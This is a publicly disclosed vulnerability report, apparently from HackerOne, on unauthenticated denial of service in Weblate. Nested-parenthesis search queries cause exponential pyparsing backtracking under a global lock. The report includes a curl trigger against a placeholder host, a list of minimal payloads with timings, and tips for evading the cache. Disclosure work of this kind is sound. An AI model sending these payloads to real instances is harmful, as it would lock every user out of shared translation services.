HexBrain

Weblate · Report #3898281

Unauthenticated ?q= search query causes exponential pyparsing backtracking under a process-global lock in Weblate

Validstatus
highseverity
33upvotes
4 Sept 2026disclosed

How it was found

Summary

Weblate's search-query grammar (weblate/utils/search.py:174-227) is built with pyparsing.infix_notation over a term rule that is ambiguous at every position, and packrat memoization is never enabled. Parsing a query with nested parentheses therefore backtracks exponentially: cost grows ~4× per nesting level, so a 33-byte query string consumes 52 seconds of CPU. The parse runs inside parse_string() while holding the module-level PARSER_LOCK (weblate/utils/search.py:1237), so a single request stalls every other search, browse, translate and zen page served by the same worker process.

The browse, translate and zen views (weblate/trans/views/edit.py:1823, :1264, :1646) parse ?q= during form validation with no authentication decorator and no rate limiting — the check_rate_limit("search", …) guard exists only in the separate weblate/trans/views/search.py view. On any project readable anonymously (the normal configuration for a public Weblate instance), an unauthenticated attacker denies service with single short GET requests.

Pre-auth, default configuration.

Proof of Concept

Setup

File

{F6346667}

git clone https://github.com/WeblateOrg/weblate
cd weblate && git checkout e3952598329d1e4f5e765260948e0c8384ddabe9
python3 -m venv venv && venv/bin/pip install 'pyparsing==3.3.2'   # pyproject.toml:190
venv/bin/python poc.py

poc.py does not retype the grammar. It lifts the exact source text of build_parser, RegexExpr and RangeExpr out of weblate/utils/search.py and RawQuotedString out of weblate/checks/parser.py using ast.get_source_segment, then execs those definitions against a namespace containing only pyparsing symbols. What is measured is the target's own grammar. The term parse action is swapped for a counter so no Django or database is required; the parse action runs only on a successful term match and therefore cannot account for the cost — the blowup is equally visible on inputs that fail to parse.

Trigger

Against a live instance, no authentication:

curl -sG 'https://weblate.example/browse/<project>/<component>/<lang>/' \
     --data-urlencode 'q=(a (a (a (a (a (a (a (a a))))))))'

Standalone measurement:

venv/bin/python poc.py

Result

--- nested_parens ---
  n=1   len=3         0.0029s         -  parsed
  n=2   len=5         0.0072s      2.5x  parsed
  n=4   len=9         0.1307s     18.0x  parsed
  n=6   len=13        1.9561s     15.0x  parsed
  n=8   len=17       28.8399s     14.7x  parsed

--- unbalanced_open ---
  n=8   len=9        29.2494s     15.3x  ParseException

--- nested_paren_terms ---
  n=8   len=33       52.4289s     15.9x  parsed

--- not_chain ---
  n=16  len=65       22.2754s     18.6x  parsed

Ratio ≈16× per two nesting levels ⇒ ≈4× per level ⇒ O(4ⁿ).

Smallest payloads crossing each threshold (Part 2):

  nested_parens        >    1s at n=6   len=13      1.832s  (parsed)          payload='((((((a))))))'
  nested_parens        >   10s at n=8   len=17     30.498s  (parsed)          payload='((((((((a))))))))'
  unbalanced_open      >    1s at n=6   len=7       1.750s  (ParseException)  payload='((((((a'
  unbalanced_open      >   10s at n=8   len=9      28.726s  (ParseException)  payload='((((((((a'
  nested_paren_terms   >    1s at n=6   len=25      3.154s  (parsed)          payload='(a (a (a (a (a (a a))))))'
  nested_paren_terms   >   10s at n=7   len=29     12.855s  (parsed)          payload='(a (a (a (a (a (a (a a)))))))'
  not_chain            >    1s at n=12  len=49      1.473s  (parsed)          payload='NOT NOT ... a'
  not_chain            >   10s at n=16  len=65     21.625s  (parsed)          payload='NOT NOT ... a'

Nine bytes (((((((((a) — an input that is not even a valid query — cost 28.7 s.

Process-global lock amplification (Part 3):

  baseline victim parse (uncontended): 0.751 ms
  attacker payload: '(a (a (a (a (a (a (a (a a))))))))' (33 bytes)
  attacker parse: 53.057 s
  victim0 parse:   52788.28 ms (70,295x baseline)
  victim1 parse:   52777.23 ms (70,281x baseline)
  victim2 parse:   52762.12 ms (70,261x baseline)
  victim3 parse:   52751.40 ms (70,246x baseline)

Four unrelated, entirely benign queries (source:hello AND target:world) went from sub-millisecond to 52.8 seconds — a 70,000× slowdown — purely by waiting on PARSER_LOCK while one attacker request was parsed.

Impact

  • Realistic exploitation: an attacker scripts unauthenticated GETs to /browse/<any-public-project>/…/?q=(a (a (a (a (a (a (a (a b)))))))), varying the final letter each time to defeat the lru_cache. Each request pins one worker thread for ~52 s and blocks all other query parsing in that process. A handful of concurrent connections is enough to make the translation UI unusable for every user of the instance. There is nothing to clean up and nothing is logged as anomalous — the requests are well-formed and, for the balanced-paren family, are even valid queries that return normal results eventually.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original